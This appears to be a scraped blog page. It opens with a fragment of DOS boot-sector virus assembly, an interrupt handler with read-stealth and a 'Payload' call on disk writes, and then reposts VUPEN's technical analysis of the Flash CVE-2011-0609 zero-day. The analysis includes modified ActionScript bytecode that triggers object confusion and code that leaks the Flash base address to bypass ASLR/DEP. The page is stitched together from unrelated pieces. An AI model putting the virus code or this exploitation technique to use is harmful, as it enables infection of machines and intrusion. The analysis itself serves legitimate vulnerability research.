    push ax		    ; Save Registers
    push bx
    push cx
    push dx
    push si
    push di
    push ds
    push es
    push cs
    pop	ds		    ; DS = CS
    cld			    ; Clear Direction Flag
    cmp	ah, 2		    ; Read?
    jnz	Check_For_Write	    ; If Not a Read Continue our checks
    mov	si, offset Stealth  ; Return to
    jmp	Read		    ; Jmp to Read
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Check_For_Write:

    cmp	ah, 3		    ; Write?
    jz	Write		    ; Jump if it is

Allow_Write:		    

    jmp	Exit_Handler	    ; Restore Registers
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Write:

    call Payload	    ; Payload time
    cmp	cx, 1		    ; Does Track = 0 and Sector	= 1?
    jnz	Not_Boot_Sector	    ; If not the bootsector, Jump
    cmp	al, 1		    ; Are they only writing one	sector?
    jnz	Allow_Write	    ; If not, Jump

Not_Boot_Sector:	    

    mov	si, offset Return_out_of_Stealth; Return to
    jmp	Read		    ; Save Registers
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
    db 0D2h ; Ò

seg000 ends
    end	
728x90
posted by 블르샤이닝 2012. 1. 12. 12:09
728x90

Hi everyone,

Back from holidays I was informed about a zero-day exploit (CVE-2011-0609) in the wild (now patched) targeting Adobe Flash, it seems that criminals never take holidays! 

As we had a copy of the SWF malware sample embedded in Excel files, it was a great opportunity to go deeper into Flash's JIT code and test recent Haifei Li's [1] methods to exploit Flash vulnerabilities on Windows 7 and to bypass ASLR/DEP via IEEE-754.

In this blog, we will share our binary analysis of the vulnerability and how we achieved a reliable exploitation on Windows 7 with ASLR/DEP bypass.

1. Technical Analysis of the Vulnerability

Based on 'crsenvironscan.xls' and 'addLabel.swf' spotted by Bugix [2], it was not that difficult to get a simplified repro. Actually, it seemed that the one who designed this exploit did not even care to simplify his proof-of-concept since more than 100 differences existed between the safe ABC section and the evil one.

After having loaded the FLA source used to compile 'addLabel.swf', we figured out that the root cause of the vulnerability came from an invalid jump location read from an 'if' statement.

By specifically manipulating jump sequences in an Action Script byte code, it is possible to force the JIT code to do an "object confusion". Specifically, it is possible to generate a valid byte code in which the same property or method could be accessed by two different objects. 

The following harmless code will be used to demonstrate the vulnerability:
 

 
package poc {

        public class safe {

                public function bla():ByteArray {
                        return new ByteArray();
                }

                public function safe() {
                        var tl:ByteArray = (1 == 0) ? bla() : (1 == 0) ? bla() : bla();
                        var t:String = "AAAAAAAAAA&AAAAAAAAAAAAA";
                        t.length;
                }

        }
}
 

First of all, let's see how the AS3 is compiled:

 
function poc::safe():* 
{
        0 getlocal0 
        1 pushscope 
        2 pushnull 
        3 coerce flash.utils::ByteArray
        5 setlocal1 
        6 pushnull 
        7 coerce_s 
        8 setlocal2 
        9 getlocal0 
        10 constructsuper (0)               // var tl:ByteArray
        12 pushbyte 1
        14 pushbyte 0
        16 ifne L1 //if (1 == 0)

        20 findpropstrict bla
        22 callproperty bla (0)
        25 coerce flash.utils::ByteArray // tl = bla()
        27 jump L2

        L1: 
        31 pushbyte 1
        33 pushbyte 0
        35 ifne L3 //if (1 == 0)

        39 findpropstrict bla
        41 callproperty bla (0)
        44 coerce flash.utils::ByteArray // tl = bla()
        46 jump L2

        L3: 
        50 findpropstrict bla
        52 callproperty bla (0)
        55 coerce flash.utils::ByteArray // tl = bla()

        L2: 
        57 coerce flash.utils::ByteArray
        59 setlocal1 
        60 pushstring "AAAAA&AAAA"
        62 setlocal2 
        63 getlocal2 
        64 getproperty length               // t.length
        66 pop 
        67 returnvoid 
}

 

As we can see, label L2 can only be reached after having executed "coerce flash.utils::ByteArray" which pushes a ByteArray object on the stack.

Now let's change the jump target at line 46 and make it point to line 62. This gives the following result: 

 
        39 findpropstrict bla
        41 callproperty bla (0)
        44 coerce flash.utils::ByteArray
        46 jump L4

        L3: 
        50 findpropstrict bla
        52 callproperty bla (0)
        55 coerce flash.utils::ByteArray

        L2: 
        57 coerce flash.utils::ByteArray
        59 setlocal1 
        60 pushstring "AAAAA&AAAA"

        L4: 
        62 setlocal2 
        63 getlocal2 
        64 getproperty length
        66 pop 
        67 returnvoid 
 

As we can see, if Flash reaches line 39, it pushes a "ByteArray" object on the stack and jumps to line 62 where it calls the "length" property. This modification is accepted by the Verifier since "String" and "ByteArray" objects share indeed a "length" property. This would have failed for example with the "ByteArray.endian" property since "String" objects do not implement such a property. 

The atom confusion typically occurs here. The resulting JIT code to call the "length" property is actually designed for a "String" object, and not for a "ByteArray" object. Let's see now how "String" and "ByteArray" objects are represented in memory.

The "String" object represented on Figure 1 begins with a dword pointing to a VTable and contains a pointer to the string at offset +8. Notice also that its length is recorded at offset +10h:


Figure 1 - String object representation

A "ByteArray" object is more complex (Figure 2). The data contained in the array can be found by dereferencing the pointer at offset +10h and then dereferencing the pointer at +24h. The length of the object is this time recorded at offset +44h:


Figure 2 - ByteArray object representation

As a result, Flash does not use the same JIT code to get the value of the "length" property. Figure 3 shows the code getting the length of a String. Basically, Flash pushes the String object to the stack and then reads the dword at offset 10h (not shown here):


Figure 3 - Call for String.length

Figure 4 shows the lines needed to get "ByteArray.length". This piece of code is different because Flash dereferences at offset +8 a pointer to an object to control the call at 0x0187CD74:


Figure 4 - Call for ByteArray.length

As a result, if an object confusion occurs between the "ByteArray" and the "String" objects, two different behaviours may occur. If the JIT code is designed for a "String" object, "call eax" returns the pointer located at offset +10h, which equals 0x01345118 in this particular case. This can then be used to disclose a pointer to an attacker. On the other hand, if the JIT code is designed for a "ByteArray" object, the following occurs (Figure 5):


Figure 5 - Call for ByteArray.length with object confusion

2. Advanced Exploitation on Windows 7 (ASLR/DEP Bypass via IEEE-754)

How to exploit this issue on Windows 7 and bypass DEP and ASLR? Not so easy, even if you attended Haifei Li's talk at CanSecWest or saw his slides.

The first step consists in reading the pointer at offset +10h in the "ByteArray" object. In the next example, this pointer equals 0x0518C0B8 (see Figure 6). Since this pointer is located in the Flash heap, it cannot be directly used to disclose the Flash module base address. 

However the object at this location has at least two interesting pointers. The first one (offset 0) points to the ".rdata" section of "Flash10n_ocx". Knowing this value is enough to get the module base address, since it is located at +0x00555710 in "Flash10n_ocx". Besides, the pointer at offset +24h points to the content of the "ByteArray", so knowing this value makes the attacker knows where is its shellcode.


Figure 6 - Data located at 0x0518C0B8

How to read data at 0x0518C0B8? Here comes the trick of IEEE-754. A Number object can be instantiated by the following line:

 
var n:Number = new Number(123.456);
 

By doing so, Flash builds an IEEE-754 representation of 123.456 in memory which is then encoded on 8 bytes. Moreover, the next syntax makes Flash build a Number according to the content of the object submitted:

 
var o;
var n:Number = new Number(o);

 

As a result, if the exploit writer manages to confuse Flash by using 0x0518C0B8 instead of an object, it becomes possible to read the 8 bytes located at 0x0518C0B8 (p):

 
var o = p;
var z:Number = new Number(o);       // z is the IEEE-754 representation of 04 B9 57 08 04 B9 57 10!

var b:ByteArray = new ByteArray();
b.writeDouble(z);
var res:uint;
res = b[4]*0x1000000 + b[5]*0x10000 + b[6]*0x100 + b[7];
this.flashBase = res - 0x555710;       // return Flash10n.ocx base address

 

Obviously, the same can be done with the pointer at offset +24h, to read the address of the byte array. 

Using this memory disclosure method, we have created a highly reliable exploit for Windows 7 (and Vista/XP) with ASLR and DEP bypass, and without heap spraying or a statically loaded module, and without JavaScript.

© Copyright VUPEN Security

Previous Research Blog Entries

2010-12-21: Technical Analysis of Exim "string_vformat()" Remote Buffer Overflow Vulnerability
2010-10-18: Technical Analysis of the Windows Win32K.sys Keyboard Layout Stuxnet Exploit 
2010-09-09: Technical Analysis of the Adobe Acrobat / Reader Buffer Overflow 0-Day Exploit


728x90